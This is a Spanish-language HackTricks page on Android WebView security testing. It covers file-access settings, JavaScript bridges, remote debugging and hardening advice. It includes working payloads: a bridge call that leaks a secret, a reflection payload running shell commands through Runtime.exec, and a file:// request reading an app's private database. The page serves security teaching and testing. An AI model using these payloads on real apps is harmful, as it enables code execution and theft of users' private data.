hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks.md
2023-06-03 01:46:23 +00:00

14 KiB

Configuraciones interesantes

Acceso a archivos

El acceso a archivos de WebView está habilitado por defecto. Desde la API 3 (Cupcake 1.5) está disponible el método setAllowFileAccess() para habilitarlo o deshabilitarlo explícitamente.
Si la aplicación tiene android.permission.READ_EXTERNAL_STORAGE podrá leer y cargar archivos desde el almacenamiento externo.
El WebView necesita usar un esquema de URL de archivo, por ejemplo, file://path/file, para acceder al archivo.

Acceso universal desde URL de archivo (obsoleto)

Establece si las solicitudes cross-origin en el contexto de una URL de esquema de archivo deben permitir el acceso a contenido desde cualquier origen. Esto incluye acceso a contenido desde otras URL de esquema de archivo o contextos web. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.

No habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto file:// lancen ataques de scripting entre sitios, accediendo a archivos locales arbitrarios, incluidas las cookies de WebView, los datos privados de la aplicación o incluso las credenciales utilizadas en sitios web arbitrarios.

En resumen, esto evitará la carga de orígenes arbitrarios. La aplicación enviará la solicitud de URL para cargar el contenido con Origin: file:// si la respuesta no permite ese origen (Access-Control-Allow-Origin: file://), entonces el contenido no se cargará.
El valor predeterminado es false al apuntar a Build.VERSION_CODES.JELLY_BEAN y superior.

{% hint style="info" %} Usar loadDataWithBaseURL() con null como baseURL también evitará la carga de archivos locales incluso si todas las configuraciones peligrosas están habilitadas. {% endhint %}

Acceso a archivos desde URL de archivo (obsoleto)

Establece si las solicitudes cross-origin en el contexto de una URL de esquema de archivo deben permitir el acceso a contenido desde otras URL de esquema de archivo. Tenga en cuenta que algunos accesos, como los elementos HTML de imagen, no siguen las reglas de mismo origen y no se ven afectados por esta configuración.

No habilite esta configuración si abre archivos que pueden ser creados o alterados por fuentes externas. Habilitar esta configuración permite que los scripts maliciosos cargados en un contexto file:// accedan a archivos locales arbitrarios, incluidas las cookies de WebView y los datos privados de la aplicación.

En resumen, esto evita que JavaScript acceda a archivos locales a través del protocolo file://.
Tenga en cuenta que el valor de esta configuración se ignora si el valor de getAllowUniversalAccessFromFileURLs() es true.
El valor predeterminado es false al apuntar a Build.VERSION_CODES.JELLY_BEAN y superior.

Acceso a archivos

Habilita o deshabilita el acceso a archivos dentro de WebView. Tenga en cuenta que esto habilita o deshabilita el acceso al sistema de archivos solamente. Los activos y recursos siguen siendo accesibles mediante file:///android_asset y file:///android_res.

En resumen, si se deshabilita, el WebView no podrá cargar un archivo local con el protocolo file://.
El valor predeterminado es false al apuntar a Build.VERSION_CODES.R y superior.

WebViewAssetLoader

Clase auxiliar para cargar archivos locales, incluidos los activos estáticos y los recursos de la aplicación, utilizando URL http(s):// dentro de una clase WebView. Cargar archivos locales utilizando URL similares a las web en lugar de "file://" es deseable ya que es compatible con la política de mismo origen.

Esta es la nueva forma recomendada de cargar archivos locales. El objetivo es acceder a archivos locales utilizando una URL HTTP con el dominio. De esta manera, la CORS se puede mantener fácilmente entre las páginas web locales y las páginas web que se descargan del servidor web.

Javascript habilitado

Los WebViews tienen Javascript deshabilitado por defecto. El método setJavaScriptEnabled() puede habilitarlo o deshabilitarlo explícitamente.
Tenga en cuenta que los webviews también pueden admitir el esquema de intención que permite lanzar otras aplicaciones. Lea este artículo para saber cómo pasar de XSS a RCE.

Puente de Javascript

Android ofrece una forma para que el JavaScript ejecutado en un WebView llame y use funciones nativas de una aplicación de Android (anotadas con @JavascriptInterface) mediante el uso del método addJavascriptInterface. Esto se conoce como un WebView JavaScript bridge o native bridge.

Tenga en cuenta que cuando usa addJavascriptInterface, está otorgando explícitamente acceso al objeto de interfaz de JavaScript registrado a todas las páginas cargadas dentro de ese WebView. Esto implica que, si el usuario navega fuera de su aplicación o dominio, todas las demás páginas externas también tendrán acceso a esos objetos de interfaz de JavaScript, lo que podría presentar un riesgo potencial de seguridad si se expone algún dato sensible a través de esas interfaces.

Advertencia: Tenga mucho cuidado con las aplicaciones que apuntan a versiones de Android anteriores

//Class with a method to access a secret
public class JavascriptBridge {
    // Since Android 4.2 (JELLY_BEAN_MR1, API 17) methods
    // not annotated with @JavascriptInterface are not visible from JavaScript
    @JavascriptInterface
    public String getSecret() {
        return "SuperSecretPassword";
    };
}
//Enabling Javascript Bridge exposing an object of the JavascriptBridge class
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
webView.reload();
<!-- Exploit to get the secret from JavaScript -->
<script>alert(javascriptBridge.getSecret());</script>

Con acceso al código JavaScript, a través de, por ejemplo, una XSS almacenada, un ataque MITM o un sitio web malicioso que se carga dentro del WebView, se puede llamar directamente a los métodos Java expuestos.

{% hint style="info" %} Tenga en cuenta que en el caso de intentar explotar esta vulnerabilidad a través de una Redirección Abierta a una página web del atacante que accede al Objeto Nativo de Android. Si el acceso a la redirección se realiza a través de un navegador móvil y no se utiliza el mismo WebView, el navegador no podrá acceder al objeto nativo de Android. {% endhint %}

Si es necesario utilizar addJavascriptInterface, tenga en cuenta las siguientes consideraciones:

  • Solo se debe permitir que el JavaScript proporcionado con el APK use los puentes, por ejemplo, verificando la URL en cada método Java conectado (a través de WebView.getUrl).
  • No se debe cargar JavaScript desde puntos finales remotos, por ejemplo, manteniendo la navegación de la página dentro de los dominios de la aplicación y abriendo todos los demás dominios en el navegador predeterminado (por ejemplo, Chrome, Firefox).
  • Si es necesario por razones de compatibilidad (por ejemplo, tener que admitir dispositivos más antiguos), al menos establezca el nivel de API mínimo en 17 en el archivo de manifiesto de la aplicación (<uses-sdk android:minSdkVersion="17" />).

Puente de JavaScript a RCE a través de Reflection

Como se señala en esta investigación (revísela para obtener ideas en caso de obtener RCE), una vez que se encuentra un JavascriptBridge, es posible obtener RCE a través de Reflection utilizando una carga útil como la siguiente:

<!-- javascriptBridge is the name of the Android exposed object -->
<script>
function execute(cmd){
  return javascriptBridge.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(cmd);
}
execute(['/system/bin/sh','-c','echo \"mwr\" > /mnt/sdcard/mwr.txt']);
</script>

Sin embargo, las aplicaciones modernas pueden usar la anotación @JavascriptInterface que indica al JavascriptBridge que solo el método con esta anotación debe ser expuesto.
En ese escenario, no podrás abusar de Reflection para ejecutar código arbitrario.

Depuración remota

La depuración remota de WebView permite acceder al WebView con las Herramientas de desarrollo de Chrome.
El dispositivo debe ser accesible por la PC (a través de USB, emulador local, red local...) y ejecutar el WebView depurable, luego acceder a chrome://inspect/#devices:

Selecciona inspeccionar y se abrirá una nueva ventana. En esta ventana puedes interactuar con el contenido del WebView e incluso hacer que ejecute código JS arbitrario desde la pestaña de consola:

Para habilitar la depuración remota de WebView puedes hacer algo como:

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    WebView.setWebContentsDebuggingEnabled(true);
}

Esta configuración se aplica a todos los WebViews de la aplicación.

{% hint style="info" %} La depuración de WebView no se ve afectada por el estado de la bandera debuggable en el manifiesto de la aplicación. Si desea habilitar la depuración de WebView solo cuando debuggable es true, pruebe la bandera en tiempo de ejecución. {% endhint %}

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
    if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
    { WebView.setWebContentsDebuggingEnabled(true); }
}

Cargas útiles

Exfiltrar archivos arbitrarios

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
    if (xhr.readyState == XMLHttpRequest.DONE) {
        alert(xhr.responseText);
    }
}
xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db', true);
xhr.send(null);

Referencias

{% embed url="https://github.com/authenticationfailure/WheresMyBrowser.Android" %}

{% embed url="https://developer.android.com/reference/android/webkit/WebView" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥